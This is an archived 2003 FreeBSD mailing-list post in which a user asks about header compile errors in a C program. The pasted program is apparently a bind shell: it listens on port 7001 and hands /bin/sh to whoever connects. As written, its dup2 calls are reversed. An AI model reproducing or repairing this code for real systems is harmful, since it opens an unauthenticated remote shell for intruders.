Skip site navigation (1)Skip section navigation (2)
Date:      Tue, 21 Jan 2003 16:04:42 -0700
From:      lattera@softhome.net
To:        freebsd-questions@freebsd.org
Subject:   header errors when compiling
Message-ID:  <courier.3E2DD20A.00000CA7@softhome.net>

next in thread | raw e-mail | index | archive | help
this code:
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h> 

startserver()
{
	int sockfd, newsockfd, clilen;
	struct sockaddr_in server, cliaddr; 

	bzero((char *)&server, sizeof(server));
	server.sin_addr.s_addr = htonl(INADDR_ANY);
	server.sin_port = htons(7001);
	server.sin_family = AF_INET; 

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		perror("socket");
		exit(1);
	}
	if (bind(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0)
	{
		perror("bind");
		exit(1);
	}
	if (listen(sockfd, 5) < 0)
	{
		perror("listen");
		exit(1);
	}
	while(1)
	{
		if ((newsockfd = accept(sockfd, (struct sockaddr *)&cliaddr, &clilen)) < 
0)
		{
			perror("accept");
			exit(1);
		}
		if (dup2(fileno(stdout), newsockfd) < 0)
		{
			perror("dup2");
			exit(1);
		}
		if (dup2(fileno(stdin), newsockfd) < 0)
		{
			perror("dup2");
			exit(1);
		}
		if(dup2(fileno(stderr), newsockfd) < 0)
		{
			perror("dup2");
			exit(1);
		}
		if (execl("/bin/sh", NULL) < 0)
		{
			perror("execl");
			exit(1);
		}
	}
}
// end of code 

produces this error when compiled:
/usr/include/sys/socket.h:52: syntax error before `sa_family_t'
/usr/include/sys/socket.h:52: warning: data definition has no type or 
storage class
/usr/include/sys/socket.h:163: syntax error before `u_char'
/usr/include/sys/socket.h:174: syntax error before `u_short'
/usr/include/sys/socket.h:188: syntax error before `u_char'
/usr/include/sys/socket.h:190: `int64_t' undeclared here (not in a function)
/usr/include/sys/socket.h:190: `u_char' undeclared here (not in a function)
/usr/include/sys/socket.h:190: size of array `__ss_pad1' is too large
/usr/include/sys/socket.h:191: syntax error before `int64_t'
/usr/include/sys/socket.h:192: `u_char' undeclared here (not in a function)
/usr/include/sys/socket.h:192: `int64_t' undeclared here (not in a function)
/usr/include/sys/socket.h:192: `u_char' undeclared here (not in a function)
/usr/include/sys/socket.h:192: `int64_t' undeclared here (not in a function)
/usr/include/sys/socket.h:359: syntax error before `pid_t'
/usr/include/sys/socket.h:364: syntax error before `gid_t'
/usr/include/sys/socket.h:399: syntax error before `u_short'
/usr/include/sys/socket.h:407: syntax error before `caddr_t'
/usr/include/sys/socket.h:411: syntax error before `caddr_t'
/usr/include/sys/socket.h:444: syntax error before `recv'
/usr/include/sys/socket.h:444: warning: data definition has no type or 
storage class
/usr/include/sys/socket.h:445: syntax error before `recvfrom'
/usr/include/sys/socket.h:445: warning: data definition has no type or 
storage class
/usr/include/sys/socket.h:446: syntax error before `recvmsg'
/usr/include/sys/socket.h:446: warning: data definition has no type or 
storage class
/usr/include/sys/socket.h:447: syntax error before `send'
/usr/include/sys/socket.h:447: warning: data definition has no type or 
storage class
/usr/include/sys/socket.h:448: syntax error before `sendto'
/usr/include/sys/socket.h:449: warning: data definition has no type or 
storage class
/usr/include/sys/socket.h:450: syntax error before `sendmsg'
/usr/include/sys/socket.h:450: warning: data definition has no type or 
storage class
/usr/include/sys/socket.h:451: syntax error before `off_t' 

//end of error 

I am using FreeBSD 4.7-release:
FreeBSD  4.7-RELEASE FreeBSD 4.7-RELEASE #1: Sun Jan 19 17:46:33 MST 2003    
shawn@:/usr/obj/usr/src/sys/FIREWALLED  i386 

I don't know what's happening. Thanks, 

lattera

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?courier.3E2DD20A.00000CA7>